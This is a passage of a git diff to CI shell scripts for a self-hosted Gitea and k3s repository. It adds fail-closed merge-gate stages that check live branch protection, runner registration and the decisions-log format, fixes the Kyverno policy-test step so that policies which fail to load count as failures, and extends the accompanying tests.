|
||||||
|
if [ -z "$hdr_line" ]; then
|
||||||
|
err "${f}: missing the required section '## ${want_sec}'."
|
||||||
|
err " CLAUDE.md §7 asks for what you changed, what you verified, and what you did NOT."
|
||||||
|
err " All three are structure here, because the third is the one that gets dropped."
|
||||||
|
summary "- decisions-log: **FAILED** (\`${f}\` — missing \`## ${want_sec}\`)"
|
||||||
|
rc=1
|
||||||
|
continue
|
||||||
|
fi
|
||||||
|
# A real body: at least 20 non-blank, non-heading characters before the next '## '.
|
||||||
|
nchars="$(awk -v s="$hdr_line" 'NR>s { if ($0 ~ /^## /) exit; print }' "$f" \
|
||||||
|
| tr -d '[:space:]' | wc -c)"
|
||||||
|
if [ "$nchars" -lt 20 ]; then
|
||||||
|
err "${f}: section '## ${want_sec}' is empty or a stub (${nchars} chars of content)."
|
||||||
|
err " If nothing was verified, WRITE THAT — 'nothing was verified; the gate was not run'"
|
||||||
|
err " is a valid and useful entry. A blank section is not."
|
||||||
|
summary "- decisions-log: **FAILED** (\`${f}\` — \`## ${want_sec}\` is a stub)"
|
||||||
|
rc=1
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
done
|
||||||
|
|
||||||
|
if [ "$rc" -eq 0 ]; then
|
||||||
|
ok "decisions log: archive frozen, ${#entries[@]} entr$([ "${#entries[@]}" -eq 1 ] && echo y || echo ies) well-formed"
|
||||||
|
summary "- decisions-log: **passed** (archive frozen; ${#entries[@]} entries well-formed)"
|
||||||
|
else
|
||||||
|
err "decisions log stage FAILED"
|
||||||
|
fi
|
||||||
|
exit "$rc"
|
||||||
+58
@@ -108,10 +108,13 @@ summary "## Merge gate (R-TEST-03)"
|
|||||||
summary ""
|
summary ""
|
||||||
|
|
||||||
run_stage spec-immutability "${CI_DIR}/spec-immutability.sh"
|
run_stage spec-immutability "${CI_DIR}/spec-immutability.sh"
|
||||||
|
run_stage decisions-log "${CI_DIR}/decisions-log.sh"
|
||||||
run_stage lint "${CI_DIR}/lint.sh"
|
run_stage lint "${CI_DIR}/lint.sh"
|
||||||
run_stage l0 "${CI_DIR}/l0.sh"
|
run_stage l0 "${CI_DIR}/l0.sh"
|
||||||
run_stage render-golden "${CI_DIR}/render-golden.sh"
|
run_stage render-golden "${CI_DIR}/render-golden.sh"
|
||||||
run_stage l1 "${CI_DIR}/l1.sh"
|
run_stage l1 "${CI_DIR}/l1.sh"
|
||||||
|
run_stage approval-policy "${CI_DIR}/approval-policy.sh"
|
||||||
|
run_stage gitea-settings "${CI_DIR}/gitea-settings.sh"
|
||||||
run_stage conformance "${CI_DIR}/conformance.sh"
|
run_stage conformance "${CI_DIR}/conformance.sh"
|
||||||
|
|
||||||
echo >&2
|
echo >&2
|
||||||
@@ -188,6 +191,61 @@ case "${OUTCOME[spec-immutability]}" in
|
|||||||
pass) ok "spec-immutability: green" ;;
|
pass) ok "spec-immutability: green" ;;
|
||||||
esac
|
esac
|
||||||
|
|
||||||
|
# approval-policy: the branch requires NO human approvals (required_approvals: 0) -- the GATE
|
||||||
|
# is the approver, per operator intent. This stage is the single exception: a change to the
|
||||||
|
# pipeline itself, the admission policies, the Flux wiring, the SOPS recipients or the RBAC
|
||||||
|
# cannot honestly be approved BY the thing it changes, so those paths still need a human.
|
||||||
|
#
|
||||||
|
# It never SKIPS -- it exits 0 or 1 only, and blocks when it cannot evaluate. That is the
|
||||||
|
# opposite of gitea-settings' tolerance and it is deliberate: there, a missing credential is a
|
||||||
|
# lock-out; here, a missing credential would let an unreviewed change to the gate merge.
|
||||||
|
case "${OUTCOME[approval-policy]}" in
|
||||||
|
fail) err "approval-policy: a sensitive change lacks a non-author approval -> blocks merge"; BLOCK=1 ;;
|
||||||
|
skip) err "approval-policy: did not run -- it is fail-closed by design, so treat as a block"; BLOCK=1 ;;
|
||||||
|
pass) ok "approval-policy: green" ;;
|
||||||
|
esac
|
||||||
|
|
||||||
|
# gitea-settings: the ONLY check that can see Gitea's own database (branch protection +
|
||||||
|
# runner registration). A FAIL is real drift and always blocks -- that is the whole point.
|
||||||
|
# A SKIP means no token or unreachable Gitea, which is an UNWIRED CREDENTIAL, not a defect
|
||||||
|
# in the change under test. It is deliberately NOT in the strict-skips loop below: making an
|
||||||
|
# absent secret block every PR is precisely the lock-yourself-out failure this repo keeps
|
||||||
|
# walking into (a required check with nothing able to satisfy it). So a skip denies a PASS
|
||||||
|
# (exit 3) and says loudly what is unverified. Set REQUIRE_GITEA_SETTINGS=true once the
|
||||||
|
# token is wired, and the skip becomes a block as it should.
|
||||||
|
case "${OUTCOME[gitea-settings]}" in
|
||||||
|
fail) err "gitea-settings: Gitea DRIFTED from infra/gitea/expected-branch-protection.json -> blocks merge"; BLOCK=1 ;;
|
||||||
|
skip)
|
||||||
|
if truthy "${REQUIRE_GITEA_SETTINGS:-false}"; then
|
||||||
|
err "gitea-settings: skipped and REQUIRE_GITEA_SETTINGS=true -> blocks merge"
|
||||||
|
summary "- gitea-settings: **SKIPPED** (no token) — blocks merge (REQUIRE_GITEA_SETTINGS=true)"
|
||||||
|
BLOCK=1
|
||||||
|
else
|
||||||
|
warn "gitea-settings: skipped (no GITEA_SETTINGS_TOKEN) — branch protection and runner"
|
||||||
|
warn " registration are UNVERIFIED. Both were silently wrong for a month. Wire the token"
|
||||||
|
warn " (infra/gitea/set-ci-token.sh), then set REQUIRE_GITEA_SETTINGS=true."
|
||||||
|
summary "- gitea-settings: **SKIPPED** (no token — protection/runners unverified; not a pass)"
|
||||||
|
NOT_ESTABLISHED+=("gitea-settings")
|
||||||
|
fi ;;
|
||||||
|
pass) ok "gitea-settings: green" ;;
|
||||||
|
esac
|
||||||
|
|
||||||
|
# decisions-log: the handoff log's storage format. A FAIL means either the frozen archive
|
||||||
|
# DECISIONS-LOG.md was modified — which re-creates, for every OTHER open branch, the tail-hunk
|
||||||
|
# conflict that made four of five PRs unmergeable on 2026-09-29 — or a decisions/ entry is
|
||||||
|
# malformed. Always blocks, and has no skip path by construction: the stage reads only files in
|
||||||
|
# the tree under test and needs no tool or cluster, so there is no environment in which it
|
||||||
|
# "could not run". A guard against a silent, delayed, misattributed regression must not itself
|
||||||
|
# have a way to not-run.
|
||||||
|
case "${OUTCOME[decisions-log]}" in
|
||||||
|
fail) err "decisions-log: FAILED -> blocks merge (see decisions/README.md)"; BLOCK=1 ;;
|
||||||
|
skip) err "decisions-log: reported SKIPPED, which this stage has no path to produce -> treat"
|
||||||
|
err " as a defect in the stage itself and block."
|
||||||
|
summary "- decisions-log: **SKIPPED** (impossible by construction) — blocks merge"
|
||||||
|
BLOCK=1 ;;
|
||||||
|
pass) ok "decisions-log: green" ;;
|
||||||
|
esac
|
||||||
|
|
||||||
# L0/L1 stages: any failure blocks. A SKIP here means a pinned tool is missing or a seam is
|
# L0/L1 stages: any failure blocks. A SKIP here means a pinned tool is missing or a seam is
|
||||||
# unwired — NEVER green. In CI (strict) that is a defect and blocks; on a workstation it
|
# unwired — NEVER green. In CI (strict) that is a defect and blocks; on a workstation it
|
||||||
# degrades to UNDETERMINED, which is still non-zero and still not a pass. render-golden is a
|
# degrades to UNDETERMINED, which is still non-zero and still not a pass. render-golden is a
|
||||||
|
|||||||
Executable
+133
@@ -0,0 +1,133 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
# ci/gitea-settings.sh — Stage: the Gitea platform settings that gate this repo still
|
||||||
|
# match what git declares.
|
||||||
|
#
|
||||||
|
# WHY THIS STAGE EXISTS AT ALL
|
||||||
|
# ----------------------------
|
||||||
|
# Every other check in this repo reads the repository, the rendered manifests, or the
|
||||||
|
# cluster. NONE of them can see Gitea's own database — and that is where branch
|
||||||
|
# protection and runner registration live. On 2026-09-29 that blind spot was measured:
|
||||||
|
#
|
||||||
|
# * `main` had NO branch protection, and
|
||||||
|
# * ZERO Actions runners were registered,
|
||||||
|
#
|
||||||
|
# for roughly a month, while DECISIONS-LOG.md recorded both as working and every agent
|
||||||
|
# and human in the loop repeated that claim because the repository said so. PR #1 — the
|
||||||
|
# first pull request this repo ever had — sat `pending` for 30.6 minutes with nothing to
|
||||||
|
# execute it. Later the same day `enable_status_check` and `required_approvals` were turned
|
||||||
|
# on and STILL did not bite, because `block_admin_merge_override` was false; PRs #5-#9
|
||||||
|
# merged with zero approvals recorded against `required_approvals: 1`.
|
||||||
|
#
|
||||||
|
# Three separate failures, one shape: a setting that READ as enforced while not being, with
|
||||||
|
# no mechanism anywhere that could notice. Scripts that ASSERT the desired state
|
||||||
|
# (infra/gitea/*.sh) do not detect drift from it. This stage is the detector.
|
||||||
|
#
|
||||||
|
# WHAT IT ASSERTS
|
||||||
|
# 1. every key in infra/gitea/expected-branch-protection.json `.protection` matches the
|
||||||
|
# LIVE rule at /repos/{repo}/branch_protections/{branch}, exactly;
|
||||||
|
# 2. at least `.runners_online_min` Actions runners report status "online".
|
||||||
|
#
|
||||||
|
# (2) is not decoration. A required status check with no runner is the deadlock this repo
|
||||||
|
# nearly walked into: every PR pends forever, including the one that would fix it.
|
||||||
|
#
|
||||||
|
# READ THE RULE OBJECT, NOT THE BRANCH VIEW. /repos/{repo}/branches/{branch} reports
|
||||||
|
# `protected`, `enable_status_check` and `required_approvals` but NOT
|
||||||
|
# `block_admin_merge_override` — it showed all-green while the rule was overridable by the
|
||||||
|
# only account that merges. This stage queries /branch_protections/ deliberately.
|
||||||
|
#
|
||||||
|
# EXIT CODES (the gate contract)
|
||||||
|
# 0 live Gitea matches the declaration
|
||||||
|
# 1 DIVERGENCE — something drifted, or was never applied. Blocks the merge.
|
||||||
|
# 3 SKIP — no token, or Gitea unreachable. Never a pass; see gate.sh, which treats this
|
||||||
|
# skip like spec-immutability's (UNDETERMINED, exit 3) rather than a hard block, so
|
||||||
|
# that an unwired credential cannot lock the repository.
|
||||||
|
#
|
||||||
|
# TO WIRE IT: create a Gitea repo secret SETTINGS_API_TOKEN (a token that can read repo
|
||||||
|
# settings) — infra/gitea/set-ci-token.sh does it. Until then this stage skips LOUDLY and
|
||||||
|
# the drift it exists to catch is still undetected.
|
||||||
|
#
|
||||||
|
# NOT `GITEA_SETTINGS_TOKEN`. This comment named that until 2026-09-29 and it instructed the
|
||||||
|
# reader to do something IMPOSSIBLE: Gitea reserves the `GITEA_` prefix for secret names and
|
||||||
|
# rejects the PUT with HTTP 400 "invalid secret name". That is not a style rule — it is why the
|
||||||
|
# detector sat inert for hours while a token existed and no secret did. The env var below still
|
||||||
|
# accepts GITEA_SETTINGS_TOKEN, but only for a LOCAL run: it can never be the CI wiring, because
|
||||||
|
# the secret that would feed it cannot be created at all.
|
||||||
|
set -euo pipefail
|
||||||
|
CI_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||||
|
REPO_ROOT="$(cd "${CI_DIR}/.." && pwd)"
|
||||||
|
# shellcheck disable=SC1091
|
||||||
|
source "${CI_DIR}/lib.sh"
|
||||||
|
|
||||||
|
log "Stage: Gitea platform settings match the declaration"
|
||||||
|
|
||||||
|
DECL="${REPO_ROOT}/infra/gitea/expected-branch-protection.json"
|
||||||
|
GITEA_URL="${GITEA_URL:-https://gitea.home.keithjackson.dev}"
|
||||||
|
GITEA_REPO="${GITEA_REPO:-Home-Network/home-network-k3s-impl}"
|
||||||
|
# SETTINGS_API_TOKEN, not GITEA_SETTINGS_TOKEN. Gitea RESERVES the `GITEA_` prefix for
|
||||||
|
# secret names and rejects a PUT of one with HTTP 400 "invalid secret name" — the same way
|
||||||
|
# GitHub reserves `GITHUB_`. The original name could therefore never be stored, and because
|
||||||
|
# infra/gitea/set-ci-token.sh sent that PUT to /dev/null and printed "stored" unconditionally,
|
||||||
|
# it looked like it had worked. A token was minted, no secret existed, and this stage would
|
||||||
|
# have skipped forever. GITEA_SETTINGS_TOKEN is still honoured for a local run.
|
||||||
|
TOKEN="${SETTINGS_API_TOKEN:-${GITEA_SETTINGS_TOKEN:-}}"
|
||||||
|
|
||||||
|
[ -f "$DECL" ] || die "declaration missing: ${DECL}"
|
||||||
|
require_tool jq
|
||||||
|
require_tool curl
|
||||||
|
|
||||||
|
if [ -z "$TOKEN" ]; then
|
||||||
|
skip "SETTINGS_API_TOKEN is not set — cannot read the live Gitea rule."
|
||||||
|
skip " Branch protection and runner registration are therefore UNVERIFIED. They were"
|
||||||
|
skip " wrong, unnoticed, for a month (2026-09-29). Wire it: infra/gitea/set-ci-token.sh"
|
||||||
|
summary "- gitea-settings: **SKIPPED — no token** (protection + runners UNVERIFIED; not a pass)"
|
||||||
|
exit 3
|
||||||
|
fi
|
||||||
|
|
||||||
|
api() { curl -sS --max-time 20 -H "Authorization: token ${TOKEN}" "$@"; }
|
||||||
|
|
||||||
|
BRANCH="$(jq -r '.branch' "$DECL")"
|
||||||
|
LIVE="$(api "${GITEA_URL}/api/v1/repos/${GITEA_REPO}/branch_protections/${BRANCH}" || true)"
|
||||||
|
if [ -z "$LIVE" ] || ! jq -e 'type == "object" and has("branch_name")' >/dev/null 2>&1 <<<"$LIVE"; then
|
||||||
|
skip "could not read the branch-protection rule from ${GITEA_URL} (unreachable, or the token"
|
||||||
|
skip " lacks permission). Not treating this as a pass."
|
||||||
|
summary "- gitea-settings: **SKIPPED — Gitea unreadable** (not a pass)"
|
||||||
|
exit 3
|
||||||
|
fi
|
||||||
|
|
||||||
|
RC=0
|
||||||
|
|
||||||
|
# --- 1. every declared protection key must match the live rule, exactly ---------------
|
||||||
|
while IFS= read -r key; do
|
||||||
|
want="$(jq -Sc --arg k "$key" '.protection[$k]' "$DECL")"
|
||||||
|
got="$(jq -Sc --arg k "$key" 'if has($k) then .[$k] else "<<ABSENT>>" end' <<<"$LIVE")"
|
||||||
|
if [ "$want" = "$got" ]; then
|
||||||
|
ok " ${key} = ${got}"
|
||||||
|
else
|
||||||
|
err " ${key}: DECLARED ${want} but LIVE is ${got}"
|
||||||
|
RC=1
|
||||||
|
fi
|
||||||
|
done < <(jq -r '.protection | keys[]' "$DECL")
|
||||||
|
|
||||||
|
# --- 2. a runner must actually be online ----------------------------------------------
|
||||||
|
MIN="$(jq -r '.runners_online_min // 1' "$DECL")"
|
||||||
|
RUNNERS="$(api "${GITEA_URL}/api/v1/admin/actions/runners" || true)"
|
||||||
|
N="$(jq -r '[(.runners//[])[]|select(.status=="online")]|length' <<<"${RUNNERS:-{\}}" 2>/dev/null || echo 0)"
|
||||||
|
if [ "${N:-0}" -ge "$MIN" ]; then
|
||||||
|
ok " runners online: ${N} (>= ${MIN})"
|
||||||
|
else
|
||||||
|
err " runners online: ${N}, DECLARED minimum ${MIN}."
|
||||||
|
err " A required status check with no runner leaves every PR pending forever —"
|
||||||
|
err " including the PR that would fix it. This is the 2026-09-29 outage condition."
|
||||||
|
RC=1
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [ "$RC" -eq 0 ]; then
|
||||||
|
ok "Gitea settings match the declaration."
|
||||||
|
summary "- gitea-settings: **green** (branch protection + runners match \`infra/gitea/expected-branch-protection.json\`)"
|
||||||
|
else
|
||||||
|
err "Gitea has DRIFTED from infra/gitea/expected-branch-protection.json."
|
||||||
|
err " Re-assert it (infra/gitea/require-gate.sh, block-admin-override.sh), or if the live"
|
||||||
|
err " state is what you now want, change the DECLARATION in the same commit — deliberately."
|
||||||
|
summary "- gitea-settings: **DRIFT** — live Gitea does not match the declaration; blocks merge"
|
||||||
|
fi
|
||||||
|
exit "$RC"
|
||||||
@@ -79,12 +79,37 @@ else
|
|||||||
cp -a "${KYVERNO_POLICY_DIR}/." "$l0_render/"
|
cp -a "${KYVERNO_POLICY_DIR}/." "$l0_render/"
|
||||||
find "$l0_render" -type f -name '*.yaml' -print0 \
|
find "$l0_render" -type f -name '*.yaml' -print0 \
|
||||||
| xargs -0 sed -i "s/\${KYVERNO_VALIDATION_ACTION}/${KYVERNO_VALIDATION_ACTION}/g"
|
| xargs -0 sed -i "s/\${KYVERNO_VALIDATION_ACTION}/${KYVERNO_VALIDATION_ACTION}/g"
|
||||||
if kyverno test "$l0_render"; then
|
# DO NOT TRUST `kyverno test`'s EXIT CODE ALONE. A policy that fails to LOAD (schema
|
||||||
ok "Kyverno L0 policy tests passed"
|
# error, bad match block, malformed JMESPath) does not fail the run: every result row
|
||||||
summary "- kyverno-l0: **passed**"
|
# becomes `Skip / Invalid Policy` and the CLI still prints "N tests passed" and exits 0.
|
||||||
|
#
|
||||||
|
# MEASURED 2026-09-29 while authoring conformance-trigger-job-shape: the policy had its
|
||||||
|
# `subjects` in a separate `match.all` entry from its `resources` — a schema error. All 9
|
||||||
|
# rows came back `Skip / Invalid Policy`, and the summary read:
|
||||||
|
# Test Summary: 9 tests passed and 0 tests failed
|
||||||
|
# `kyverno apply` on the same file reported `error: 1` and named the path. So the gate's
|
||||||
|
# own policy stage would have certified a SECURITY POLICY THAT DOES NOT LOAD as green.
|
||||||
|
#
|
||||||
|
# This is not specific to that policy: a typo in restrict-host-namespaces or
|
||||||
|
# secret-provenance would silently disable it and the gate would stay green. Scan the
|
||||||
|
# output for the load failure the exit code hides.
|
||||||
|
l0_kout="$(mktemp)"
|
||||||
|
if kyverno test "$l0_render" 2>&1 | tee "$l0_kout"; then
|
||||||
|
if grep -q 'Invalid Policy' "$l0_kout"; then
|
||||||
|
err "Kyverno reported 'Invalid Policy' — one or more policies FAILED TO LOAD and were"
|
||||||
|
err " skipped, so their rules were never evaluated. The CLI exits 0 for this; the gate"
|
||||||
|
err " must not. Run 'kyverno apply <policy> --resource <resources>' for the exact path."
|
||||||
|
grep -n 'Invalid Policy' "$l0_kout" | head -5 >&2
|
||||||
|
summary "- kyverno-l0: **FAILED — policy did not load** (Invalid Policy; rules never evaluated)"
|
||||||
|
rc=1
|
||||||
|
else
|
||||||
|
ok "Kyverno L0 policy tests passed"
|
||||||
|
summary "- kyverno-l0: **passed**"
|
||||||
|
fi
|
||||||
else
|
else
|
||||||
err "Kyverno L0 policy tests failed"; summary "- kyverno-l0: **FAILED**"; rc=1
|
err "Kyverno L0 policy tests failed"; summary "- kyverno-l0: **FAILED**"; rc=1
|
||||||
fi
|
fi
|
||||||
|
rm -f "$l0_kout"
|
||||||
rm -rf "$l0_render"
|
rm -rf "$l0_render"
|
||||||
fi
|
fi
|
||||||
|
|
||||||
|
|||||||
Executable
+130
@@ -0,0 +1,130 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
# ci/tests/decisions-log.test.sh — proves ci/decisions-log.sh actually fails closed.
|
||||||
|
#
|
||||||
|
# The stage exists because appending to DECISIONS-LOG.md silently re-creates a merge conflict
|
||||||
|
# for every other open branch. A guard against a silent regression is itself worth nothing
|
||||||
|
# unless somebody has watched it reject the thing it claims to reject, so each case below
|
||||||
|
# CONSTRUCTS the violation in a throwaway tree and asserts a non-zero exit — the same reasoning
|
||||||
|
# as ci/tests/gate-decision.test.sh, one layer down.
|
||||||
|
set -uo pipefail
|
||||||
|
REAL_CI_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
|
||||||
|
|
||||||
|
PASS=0 FAIL=0
|
||||||
|
ok() { printf ' ok %s\n' "$*"; PASS=$((PASS+1)); }
|
||||||
|
bad() { printf ' FAIL %s\n' "$*"; FAIL=$((FAIL+1)); }
|
||||||
|
|
||||||
|
TMP="$(mktemp -d)"; trap 'rm -rf "$TMP"' EXIT
|
||||||
|
|
||||||
|
# A minimal well-formed tree: the frozen archive, its pin, and one valid entry.
|
||||||
|
mk_tree() {
|
||||||
|
local d="$1"; rm -rf "$d"; mkdir -p "$d/ci" "$d/decisions"
|
||||||
|
cp "${REAL_CI_DIR}/decisions-log.sh" "${REAL_CI_DIR}/lib.sh" "${REAL_CI_DIR}/versions.env" "$d/ci/"
|
||||||
|
printf 'frozen history\n' > "$d/DECISIONS-LOG.md"
|
||||||
|
( cd "$d" && sha256sum DECISIONS-LOG.md > decisions/ARCHIVE.sha256 )
|
||||||
|
mk_entry "$d/decisions/2026-09-29-a-good-entry.md" 2026-09-29
|
||||||
|
# REPO_ROOT in ci/lib.sh is derived from git; give the tree a repo so it resolves here.
|
||||||
|
( cd "$d" && git init -q . && git add -A && git -c user.email=t@t -c user.name=t commit -qm init )
|
||||||
|
}
|
||||||
|
|
||||||
|
mk_entry() {
|
||||||
|
cat > "$1" <<ENTRY
|
||||||
|
---
|
||||||
|
date: $2
|
||||||
|
branch: chore/example
|
||||||
|
title: An example entry
|
||||||
|
---
|
||||||
|
|
||||||
|
## What changed
|
||||||
|
|
||||||
|
Enough prose here to clear the twenty-character body floor comfortably.
|
||||||
|
|
||||||
|
## What I verified
|
||||||
|
|
||||||
|
Enough prose here to clear the twenty-character body floor comfortably.
|
||||||
|
|
||||||
|
## What I did NOT verify
|
||||||
|
|
||||||
|
Enough prose here to clear the twenty-character body floor comfortably.
|
||||||
|
ENTRY
|
||||||
|
}
|
||||||
|
|
||||||
|
# run <dir> -> sets RC and OUT
|
||||||
|
run() { OUT="$( cd "$1" && bash ci/decisions-log.sh 2>&1 )"; RC=$?; }
|
||||||
|
|
||||||
|
D="${TMP}/t"
|
||||||
|
|
||||||
|
echo "== 1. a well-formed tree passes"
|
||||||
|
mk_tree "$D"; run "$D"
|
||||||
|
[ "$RC" -eq 0 ] && ok "clean tree -> exit 0" || bad "clean tree -> exit ${RC}: ${OUT}"
|
||||||
|
|
||||||
|
echo
|
||||||
|
echo "== 2. THE REGRESSION THIS STAGE EXISTS FOR: appending to the frozen archive"
|
||||||
|
mk_tree "$D"; printf '\n## my new handoff\n' >> "$D/DECISIONS-LOG.md"; run "$D"
|
||||||
|
[ "$RC" -ne 0 ] && ok "append to DECISIONS-LOG.md -> non-zero (${RC})" \
|
||||||
|
|| bad "append to DECISIONS-LOG.md was ACCEPTED — the guard is inert"
|
||||||
|
grep -qi 'frozen archive' <<<"$OUT" && ok "the message names the archive as frozen" \
|
||||||
|
|| bad "the message does not say the archive is frozen"
|
||||||
|
grep -q 'decisions/\$(date +%F)' <<<"$OUT" && ok "the message names the file to write instead" \
|
||||||
|
|| bad "the message does not name the remedy"
|
||||||
|
|
||||||
|
echo
|
||||||
|
echo "== 3. a re-pin is a deliberate, accepted act"
|
||||||
|
mk_tree "$D"; printf '\nredacted\n' >> "$D/DECISIONS-LOG.md"
|
||||||
|
( cd "$D" && sha256sum DECISIONS-LOG.md > decisions/ARCHIVE.sha256 ); run "$D"
|
||||||
|
[ "$RC" -eq 0 ] && ok "archive changed AND re-pinned -> exit 0" || bad "re-pin rejected: ${OUT}"
|
||||||
|
|
||||||
|
echo
|
||||||
|
echo "== 4. a missing pin is unverifiable, not green"
|
||||||
|
mk_tree "$D"; rm "$D/decisions/ARCHIVE.sha256"; run "$D"
|
||||||
|
[ "$RC" -ne 0 ] && ok "no ARCHIVE.sha256 -> non-zero (${RC})" || bad "missing pin was accepted"
|
||||||
|
|
||||||
|
echo
|
||||||
|
echo "== 5. entry naming"
|
||||||
|
for badname in 2026-9-29-x.md 26-09-29-x.md 2026-09-29-Upper.md 2026-09-29-.md 2026-02-30-x.md; do
|
||||||
|
mk_tree "$D"; mk_entry "$D/decisions/${badname}" 2026-09-29; run "$D"
|
||||||
|
[ "$RC" -ne 0 ] && ok "rejects decisions/${badname}" || bad "ACCEPTED decisions/${badname}"
|
||||||
|
done
|
||||||
|
mk_tree "$D"; mk_entry "$D/decisions/2026-10-01-fix-thing-2.md" 2026-10-01; run "$D"
|
||||||
|
[ "$RC" -eq 0 ] && ok "accepts a digits-and-dashes slug" || bad "rejected a valid slug: ${OUT}"
|
||||||
|
|
||||||
|
echo
|
||||||
|
echo "== 6. frontmatter"
|
||||||
|
mk_tree "$D"; sed -i '1d' "$D/decisions/2026-09-29-a-good-entry.md"; run "$D"
|
||||||
|
[ "$RC" -ne 0 ] && ok "rejects an entry with no frontmatter" || bad "accepted a bare entry"
|
||||||
|
|
||||||
|
for key in date branch title; do
|
||||||
|
mk_tree "$D"; sed -i "/^${key}:/d" "$D/decisions/2026-09-29-a-good-entry.md"; run "$D"
|
||||||
|
[ "$RC" -ne 0 ] && ok "rejects frontmatter missing '${key}'" || bad "accepted missing '${key}'"
|
||||||
|
done
|
||||||
|
|
||||||
|
# The copied-template failure: the body was rewritten, the date never was.
|
||||||
|
mk_tree "$D"; mk_entry "$D/decisions/2026-09-30-copied.md" 2026-09-29; run "$D"
|
||||||
|
[ "$RC" -ne 0 ] && ok "rejects a frontmatter date that disagrees with the filename" \
|
||||||
|
|| bad "accepted a date/filename disagreement"
|
||||||
|
|
||||||
|
echo
|
||||||
|
echo "== 7. the three required sections, and their bodies"
|
||||||
|
for sec in 'What changed' 'What I verified' 'What I did NOT verify'; do
|
||||||
|
mk_tree "$D"; sed -i "/^## ${sec}\$/d" "$D/decisions/2026-09-29-a-good-entry.md"; run "$D"
|
||||||
|
[ "$RC" -ne 0 ] && ok "rejects an entry missing '## ${sec}'" || bad "accepted missing '## ${sec}'"
|
||||||
|
done
|
||||||
|
|
||||||
|
# A heading with nothing under it is the way this floor gets defeated in practice.
|
||||||
|
mk_tree "$D"
|
||||||
|
python3 - "$D/decisions/2026-09-29-a-good-entry.md" <<'PY'
|
||||||
|
import sys,re
|
||||||
|
p=sys.argv[1]; s=open(p).read()
|
||||||
|
s=re.sub(r'## What I did NOT verify\n\n.*', '## What I did NOT verify\n\nn/a\n', s, flags=re.S)
|
||||||
|
open(p,'w').write(s)
|
||||||
|
PY
|
||||||
|
run "$D"
|
||||||
|
[ "$RC" -ne 0 ] && ok "rejects a stub body under a required section" || bad "accepted an 'n/a' section"
|
||||||
|
|
||||||
|
echo
|
||||||
|
echo "== 8. README.md in decisions/ is not an entry and is not policed as one"
|
||||||
|
mk_tree "$D"; printf 'not an entry\n' > "$D/decisions/README.md"; run "$D"
|
||||||
|
[ "$RC" -eq 0 ] && ok "decisions/README.md ignored by the entry rules" || bad "README policed: ${OUT}"
|
||||||
|
|
||||||
|
echo
|
||||||
|
if [ "$FAIL" -eq 0 ]; then echo "decisions-log tests: PASS ($PASS assertions)"; exit 0
|
||||||
|
else echo "decisions-log tests: FAIL ($FAIL failed, $PASS passed)"; exit 1; fi
|
||||||
@@ -36,7 +36,13 @@ REPO="${TMP}/repo"; mkdir -p "$REPO"
|
|||||||
cp "${REAL_CI_DIR}/gate.sh" "${REAL_CI_DIR}/lib.sh" "${REAL_CI_DIR}/versions.env" "$CI/"
|
cp "${REAL_CI_DIR}/gate.sh" "${REAL_CI_DIR}/lib.sh" "${REAL_CI_DIR}/versions.env" "$CI/"
|
||||||
|
|
||||||
# One stub per stage. It exits with STAGE_RC_<stage-with-dashes-as-underscores>, default 0.
|
# One stub per stage. It exits with STAGE_RC_<stage-with-dashes-as-underscores>, default 0.
|
||||||
for stage in spec-immutability lint l0 render-golden l1 conformance; do
|
# NOTE: this list must name EVERY stage gate.sh runs. It did not: `gitea-settings` was added to
|
||||||
|
# gate.sh and never added here, so its script was absent from the stub CI dir, `run_stage` got
|
||||||
|
# exit 127 from the missing file, and the gate recorded a FAILED stage in every single case —
|
||||||
|
# 15 of 47 assertions failed on `main` for that reason alone, including every one that expects a
|
||||||
|
# PASS/UNDETERMINED/NOT-APPLICABLE headline. The suite was measuring the missing stub, not the
|
||||||
|
# decision logic. `decisions-log` is added here in the same change that adds it to gate.sh.
|
||||||
|
for stage in spec-immutability decisions-log lint l0 render-golden l1 gitea-settings conformance; do
|
||||||
cat > "${CI}/${stage}.sh" <<'STUB'
|
cat > "${CI}/${stage}.sh" <<'STUB'
|
||||||
#!/usr/bin/env bash
|
#!/usr/bin/env bash
|
||||||
n="$(basename "$0" .sh)"; v="STAGE_RC_${n//-/_}"
|
n="$(basename "$0" .sh)"; v="STAGE_RC_${n//-/_}"
|
||||||
@@ -184,6 +190,21 @@ assert_verdict BLOCKED 1 "l0 FAILED + l1 SKIPPED"
|
|||||||
run_gate STAGE_RC_spec_immutability=3 STAGE_RC_conformance=3
|
run_gate STAGE_RC_spec_immutability=3 STAGE_RC_conformance=3
|
||||||
assert_verdict UNDETERMINED 3 "spec-immutability SKIPPED + conformance declared-absent"
|
assert_verdict UNDETERMINED 3 "spec-immutability SKIPPED + conformance declared-absent"
|
||||||
|
|
||||||
|
echo
|
||||||
|
echo "== 10. decisions-log: the handoff log's storage format has no non-blocking outcome"
|
||||||
|
# A FAIL here means the frozen archive was appended to (re-creating, for every OTHER open
|
||||||
|
# branch, the tail-hunk conflict that made 4 of 5 PRs unmergeable on 2026-09-29) or an entry is
|
||||||
|
# malformed. A SKIP is impossible by construction — the stage needs no tool and no cluster — so
|
||||||
|
# if one is ever reported it is a defect in the stage, and the gate must not soften it into
|
||||||
|
# UNDETERMINED. Both outcomes block, and neither is upgradeable by an env knob: there is
|
||||||
|
# deliberately no REQUIRE_DECISIONS_LOG, because a guard with an off switch is not a guard.
|
||||||
|
run_gate STAGE_RC_decisions_log=1
|
||||||
|
assert_verdict BLOCKED 1 "decisions-log FAILED (archive modified / entry malformed)"
|
||||||
|
run_gate STAGE_RC_decisions_log=3
|
||||||
|
assert_verdict BLOCKED 1 "decisions-log SKIPPED (impossible by construction -> defect, blocks)"
|
||||||
|
run_gate STAGE_RC_decisions_log=1 STAGE_RC_l1=3
|
||||||
|
assert_verdict BLOCKED 1 "decisions-log FAILED outranks an l1 non-run"
|
||||||
|
|
||||||
echo
|
echo
|
||||||
if [ "$FAIL" -eq 0 ]; then echo "gate-decision tests: PASS ($PASS assertions)"; exit 0
|
if [ "$FAIL" -eq 0 ]; then echo "gate-decision tests: PASS ($PASS assertions)"; exit 0
|
||||||
else echo "gate-decision tests: FAIL ($FAIL failed, $PASS passed)"; exit 1; fi
|
else echo "gate-decision tests: FAIL ($FAIL failed, $PASS passed)"; exit 1; fi
|
||||||
@@ -1,5 +1,19 @@
